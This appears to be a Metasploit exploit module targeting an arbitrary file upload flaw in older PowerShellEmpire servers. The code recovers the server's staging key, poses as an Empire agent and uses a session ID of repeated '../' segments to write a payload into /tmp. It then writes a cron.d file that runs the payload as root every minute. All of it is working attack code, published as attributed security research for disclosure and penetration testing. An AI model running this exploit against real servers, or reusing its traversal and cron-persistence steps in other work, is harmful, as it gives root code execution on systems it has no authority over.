##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  TASK_DOWNLOAD = 41

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
      'Description'     => %q{
        A vulnerability existed in the PowerShellEmpire server prior to commit
        f030cf62 which would allow an arbitrary file to be written to an
        attacker controlled location with the permissions of the Empire server.

        This exploit will write the payload to /tmp/ directory followed by a
        cron.d file to execute the payload.
      },
      'Author'          =>
        [
          'Spencer McIntyre',   # Vulnerability discovery & Metasploit module
          'Erik Daguerre'       # Metasploit module
        ],
      'License'         => MSF_LICENSE,
      'References'      => [
        ['URL', 'http://www.harmj0y.net/blog/empire/empire-fails/']
      ],
      'Payload'         =>
        {
          'DisableNops' => true,
        },
      'Platform'        => %w{ linux python },
      'Targets'         =>
        [
          [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
        ],
      'DefaultOptions'  => { 'WfsDelay' => 75 },
      'DefaultTarget'   => 0,
      'DisclosureDate'  => '2016-10-15',
      'Notes'           =>
        {
          'Stability'   => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
        },
    ))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),
        OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),
        OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),
        OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ])
      ])
  end

  def check
    return Exploit::CheckCode::Safe if get_staging_key.nil?

    Exploit::CheckCode::Appears
  end

  def aes_encrypt(key, data, include_mac=false)
    cipher = OpenSSL::Cipher.new('aes-256-cbc')
    cipher.encrypt
    iv = cipher.random_iv
    cipher.key = key
    cipher.iv = iv
    data = iv + cipher.update(data) + cipher.final

    digest = OpenSSL::Digest.new('sha1')
    data << OpenSSL::HMAC.digest(digest, key, data) if include_mac

    data
  end

  def create_packet(res_id, data, counter=nil)
    data = Rex::Text::encode_base64(data)
    counter = Time.new.to_i if counter.nil?

    [ res_id, counter, data.length ].pack('VVV') + data
  end

  def reversal_key
    # reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
    [
      [ 160, 0x3d], [  33, 0x2c], [  34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [  37, 0x2c], [  38, 0x24], [ 199, 0x2d],
      [   8, 0x20], [  41, 0x3d], [  42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [  14, 0x2d], [  47, 0x29],
      [ 272, 0x5d], [ 113, 0x3b], [  82, 0x3b], [  51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [  86, 0x2d], [ 183, 0x3a],
      [  24, 0x7b], [  57, 0x2d], [ 282, 0x20], [  91, 0x20], [  92, 0x2d], [ 157, 0x3b], [  30, 0x28], [  31, 0x24]
    ]
  end

  def rsa_encode_int(value)
    encoded = []
    while value > 0 do
      encoded << (value & 0xff)
      value >>= 8
    end

    Rex::Text::encode_base64(encoded.reverse.pack('C*'))
  end

  def rsa_key_to_xml(rsa_key)
    rsa_key_xml  = "<RSAKeyValue>\n"
    rsa_key_xml << "  <Exponent>#{ rsa_encode_int(rsa_key.e.to_i) }</Exponent>\n"
    rsa_key_xml << "  <Modulus>#{ rsa_encode_int(rsa_key.n.to_i) }</Modulus>\n"
    rsa_key_xml << "</RSAKeyValue>"

    rsa_key_xml
  end

  def get_staging_key
    # STAGE0_URI resource requested by the initial launcher
    # The default STAGE0_URI resource is index.asp
    # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
    })
    return unless res and res.code == 200

    staging_key = Array.new(32, nil)
    staging_data = res.body.bytes

    reversal_key.each_with_index do |(pos, char_code), key_pos|
      staging_key[key_pos] = staging_data[pos] ^ char_code
    end

    return if staging_key.include? nil

    # at this point the staging key should have been fully recovered but
    # we'll verify it by attempting to decrypt the header of the stage
    decrypted = []
    staging_data[0..23].each_with_index do |byte, pos|
      decrypted << (byte ^ staging_key[pos])
    end
    return unless decrypted.pack('C*').downcase == 'function start-negotiate'

    staging_key
  end

  def write_file(path, data, session_id, session_key, server_epoch)
    # target_url.path default traffic profile for empire agent communication
    # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
    data = create_packet(
      TASK_DOWNLOAD,
      [
        '0',
        session_id + path,
        Rex::Text::encode_base64(data)
      ].join('|'),
      server_epoch
    )

    if datastore['PROFILE'].blank?
      profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample)
    else
      profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])
    end

    res = send_request_cgi({
      'cookie'    => "SESSIONID=#{session_id}",
      'data'      => aes_encrypt(session_key, data, include_mac=true),
      'method'    => 'POST',
      'uri'       => normalize_uri(profile_uri)
    })
    fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200

    res
  end

  def cron_file(command)
    cron_file = 'SHELL=/bin/sh'
    cron_file << "\n"
    cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
    cron_file << "\n"
    cron_file << "* * * * * root #{command}"
    cron_file << "\n"

    cron_file
  end

  def exploit
    vprint_status('Recovering the staging key...')
    staging_key = get_staging_key
    if staging_key.nil?
      fail_with(Failure::Unknown, 'Failed to recover the staging key')
    end
    vprint_good("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}")
    staging_key = staging_key.pack('C*')

    rsa_key = OpenSSL::PKey::RSA.new(2048)
    session_id = Array.new(50, '..').join('/')
    # STAGE1_URI, The resource used by the RSA key post
    # The default STAGE1_URI resource is index.jsp
    # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
    res = send_request_cgi({
      'cookie'    => "SESSIONID=#{session_id}",
      'data'      => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
    })
    fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200
    vprint_good("Successfully sent the RSA key")

    # decrypt the response and pull out the epoch and session_key
    body = rsa_key.private_decrypt(res.body)
    server_epoch = body[0..9].to_i
    session_key = body[10..-1]
    print_good('Successfully negotiated an artificial Empire agent')

    payload_data = nil
    payload_path = '/tmp/' + rand_text_alpha(8)

    case target['Arch']
    when ARCH_PYTHON
      cron_command = "python #{payload_path}"
      payload_data = payload.raw

    when ARCH_X86, ARCH_X64
      cron_command = "chmod +x #{payload_path} && #{payload_path}"
      payload_data = payload.encoded_exe

    end

    print_status("Writing payload to #{payload_path}")
    write_file(payload_path, payload_data, session_id, session_key, server_epoch)

    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
    print_status("Writing cron job to #{cron_path}")

    write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
    print_status("Waiting for cron job to run, can take up to 60 seconds")

    register_files_for_cleanup(cron_path)
    register_files_for_cleanup(payload_path)
    # Empire writes to a log file location based on the Session ID, so when
    # exploiting this vulnerability that file ends up in the root directory.
    register_files_for_cleanup('/agent.log')
  end
end
